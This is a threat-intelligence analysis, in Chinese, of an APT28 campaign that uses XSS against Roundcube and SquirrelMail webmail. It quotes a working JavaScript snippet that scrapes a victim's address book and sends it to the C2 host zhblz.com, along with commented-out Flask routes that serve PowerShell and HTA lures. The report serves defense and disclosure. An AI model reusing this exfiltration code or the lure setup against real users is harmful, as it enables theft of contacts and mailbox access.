1. 簡介
近期威脅情資揭露了一起持續演化且具高度針對性的間諜行動,該行動歸因於 Threat actor FancyBear (亦被追蹤為 APT28)。此行動的特點在於長期利用遭入侵的基礎設施,並部署高度模組化的攻擊框架來鎖定網頁郵件平台。與許多現代威脅為了躲避偵測而頻繁輪換命令與控制(C2)伺服器不同,該 Threat actor 在公開歸因後,仍將單一 C2 節點維持運作超過 500 天 [1] 。本分析聚焦於其工具包的技術組件,特別是跨站腳本(XSS)的 malicious payload,以及用於資料外洩與認證竊取的伺服器端邏輯。
此基礎設施的持久性反映出 Threat actor 高度自信,或是經過風險評估後的決策,其原因可能在於模組化工具集的有效性。藉由維持穩定的 C2 環境,他們得以持續改進 payload 與資料外洩手法,並適應目標的特定安全組態設定。這份報告將深入探討其模組化框架的技術細節,分析他們如何利用網頁郵件環境來達成情報蒐集目標。
2. 模組化攻擊框架
此行動的核心為一套以 JavaScript 為基礎的模組化框架,設計用於在受害者的網頁郵件 session 環境中執行。該框架具備平台識別能力,針對 Roundcube 和 SquirrelMail 分別配置了特定模組。主要傳遞方式是透過利用 XSS 漏洞(例如 CVE-2023-43770)來注入一個「worker」腳本,該腳本負責協調各項惡意活動。這種模組化設計使得僅能針對特定目標部署必要組件,減少整體攻擊足跡,進而增加偵測難度。
Spear-Phishing/XSS] --> B{Platform Detection} B -->|Roundcube| C[worker.js] B -->|SquirrelMail| D[worker2.js] C --> E[Credential Theft] C --> F[Sieve Rule Injection] C --> G[Address Book Exfiltration] D --> H[Inline Victim ID] D --> I[Address Book Scraping] E & F & G & H & I --> J[C2 Telemetry:
zhblz.com]
2.1. Roundcube 攻擊手法
在 Roundcube 環境中,Threat actor 利用該平台內建的 JavaScript 物件來協助資料竊取。
worker.js
payload 設計上著重隱匿,通常會在背景執行而不影響使用者體驗。其中一項最關鍵的能力是自動建立
Sieve forwarding rules
。這些規則讓攻擊者能將所有進出信件靜默轉發至外部信箱,即使使用者變更密碼,仍可維持持續存取權限
[1]
。
Sieve 規則的實作特別具有破壞性,因為它運作在郵件伺服器層級,使得大多數客戶端安全措施難以察覺。透過注入這些規則,Threat actor 無需重新入侵帳戶,就能持續獲取情報。此技術展現出對郵件伺服器協定的深度理解,以及將合法管理功能武器化以進行間諜活動的能力。
2.2. SquirrelMail Payload 分析
對
worker2.js
的分析顯示,與 Roundcube 變種相比,它採用了更偏向手動的資料擷取方式。由於 SquirrelMail 缺乏像 Roundcube 的
rcmail
那樣的統一客戶端環境,payload 必須透過 DOM 解析來識別受害者並提取聯絡人。這需要一個更複雜的腳本,能夠導覽 SquirrelMail 介面的特定 HTML 結構。
- // Program: SquirrelMail Address Book Extractor (Snippet from worker2.js)
- // Description: This function constructs the address book URL, fetches the HTML,
- // and parses it to extract contact email addresses.
- async function getAddressBook(username) {
- try {
- // Construct the absolute path to the addressbook.php endpoint
- const newUrl = `${originalUrl.split("/src/")[0]}/src/addressbook.php`;
- // Fetch the address book page using the victim's current session cookies
- const response = await fetch(newUrl, {
- credentials: "include",
- // Session headers are automatically included by the browser
- });
- const html = await response.text();
- const parser = new DOMParser();
- const doc = parser.parseFromString(html, "text/html");
- // Locate all anchor tags that point to the compose.php script
- // These typically contain the email addresses of contacts
- const emailLinks = Array.from(doc.querySelectorAll('a[href*="compose.php"]'));
- const textList = emailLinks.map(link => link.textContent.trim());
- // Join the list and encode it for exfiltration
- const joined = textList.join("-");
- const base64Encoded = btoa(unescape(encodeURIComponent(joined)));
- // Construct the telemetry log entry with the 't_a_b_f_u_' prefix
- const log = `t_a_f_u_${username}_:_${base64Encoded}`;
- const trackingUrl = `https://zhblz.com/zJ2w9x?log=t_a_b_f_u_${username}_:_${encodeURIComponent(log)}`;
- // Send the data to the C2 server via a GET request
- await fetch(trackingUrl, { method: "GET", mode: "no-cors" });
- } catch (error) {
- // Log failure to the C2 server
- await fetch(`https://zhblz.com/zJ2w9x?log=e_t_a_b_f_u_${username}`);
- }
- }
3. 進階規避與持續性
現代載入器(例如 HijackLoader )的複雜度通常涉及多種進階規避技術,如 Call Stack Spoofing 與 Anti-VM 檢查 [2] 。雖然此處分析的網頁郵件導向 payload 較側重應用層邏輯,但其底層的 C2 基礎設施也展現出類似的模組化跡象。該 C2 伺服器被發現託管了多個組件,包括用於處理外洩資料的 Python Flask 應用程式。
如 HijackLoader 中出現的 Call Stack Spoofing,是一種透過將堆疊中的返回位址覆寫為來自合法系統 DLL 的位址,來隱藏函數呼叫真實來源的技術 [2] 。這使得端點偵測與回應(Endpoint Detection and Response, EDR)工具極難將執行流程追溯回惡意 payload。同樣地,Anti-VM 檢查用於偵測惡意程式是否在沙箱或虛擬化環境中執行,使其得以終止或改變行為以避免分析。這些技術代表了惡意程式開發的尖端領域,且正逐漸整合進間諜工具包中。
3.1. C2 伺服器端邏輯
伺服器端程式碼(
app.py
)利用 Flask 框架來提供釣魚頁面並接收竊取的資料。值得注意的是,程式碼中包含被註解掉的區段,其中引用了「ClickFix」誘餌手法,該手法會誘騙使用者在嘗試修復瀏覽器錯誤的藉口下執行惡意命令
[1]
。這顯示 Threat actor 不斷測試與改良新的傳遞方式,以繞過傳統的安全過濾機制。
- # Program: C2 Server-Side Route Handler (Snippet from app.py)
- # Description: Flask routes for serving malicious payloads and lures.
- ###########---reCAPTCHA/Chrome Lures---##############
- # This route serves the initial phishing document
- # @app.route('/document')
- # def first():
- # return send_from_directory('static', 'index.html')
- # This route serves a PowerShell script disguised as a browser component
- # @app.route('/B')
- # def serve_hta():
- # return send_from_directory('static', 'Browser.ps1')
- # This route serves a malicious HTA file
- # @app.route('/b')
- # def serves():
- # return send_from_directory('static', 'browser.hta')
- # Endpoint for receiving exfiltrated messages via POST
- # @app.route('/endpoint', methods=['POST'])
- # def receive_message():
- # data = request.get_json()
- # message = data.get('message')
- # print(f"Received message: {message}")
- # return jsonify({"status": "success"}), 200
4. 遙測與資料外洩
此行動的遙測基礎是一套結構化的記錄系統。XSS payload 執行的每項動作都會透過特定 URL 參數回報給 C2,讓攻擊者能夠即時追蹤行動進度,並視需要調整戰術。記錄中使用的前綴碼清楚地描繪了攻擊者的目標,從 initial beaconing 到完整的認證與雙因子驗證(2FA)資料竊取。
| 前綴碼 | 動作 | 目標平台 |
|---|---|---|
u_{email}_o_m
|
受害者開啟含 XSS 的郵件 (Beacon) | Roundcube |
c_c_f_u_{email}
|
認證竊取 (Inline form) | 兩者皆支援 |
m_f_u_{email}
|
Sieve forwarding rule 已建立 | Roundcube |
k_t_f_u_{email}
|
TOTP 2FA 密鑰遭竊 | Roundcube |
t_a_b_f_u_{email}
|
通訊錄遭竊 | SquirrelMail |
其中, TOTP (Time-based One-Time Password) 密鑰的外洩尤其值得關注。透過擷取用於產生 2FA 驗證碼的密鑰,攻擊者可以完全繞過多因素驗證,無需進一步互動即可完整存取受害者帳戶 [1] 。這項能力顯著提升了該 Threat actor 帶來的風險,因為它讓最常見的安全防護措施之一形同虛設。能夠竊取 TOTP 密鑰,暗示了 Threat actor 已開發出專門的模組來鎖定受害者所使用的特定 2FA 實作方式。
5. 技術影響與緩解措施
這類行動的影響深遠,因為它們允許大規模外洩敏感的政府與軍事通訊。透過蒐集聯絡人清單與注入轉寄規則,Threat actor 能夠繪製出整個通訊網路,並長期維持對關鍵情報的存取。此工具包的模組化特性使其能輕易地調整以鎖定其他網頁郵件平台,或在取得新技術時整合新的攻擊手法。
為降低此類風險,組織應採用多層次的安全防護方法。這包括定期更新網頁郵件軟體以修補已知的 XSS 漏洞,實施強大的內容安全政策(Content Security Policies, CSP)以防止未經授權的腳本執行,並監控郵件伺服器日誌以偵測可疑轉寄規則的建立。此外,使用硬體式安全金鑰(例如 FIDO2)可提供更強韌的防護來對抗 TOTP 竊取,因為這類金鑰更難透過遠端攻擊手法入侵。
6. 結論
對此行動的技術分析突顯了模組化、平台特定攻擊手法的有效性。透過鎖定網頁郵件漏洞,Threat actor 能夠以極少的使用者互動實現深度持續性存取與大規模資料外洩。Sieve 規則的使用與 TOTP 提取,展現出對目標環境的高度掌握。此外,從近期網路安全研究中討論的現代載入器(如 HijackLoader)中整合的技術來看 [2] ,這暗示了間諜行動正朝向模組化與規避技術發展的廣泛趨勢。組織必須將網頁郵件基礎設施的安全列為優先事項,並對頂尖 Threat actor 不斷演進的戰術保持警覺。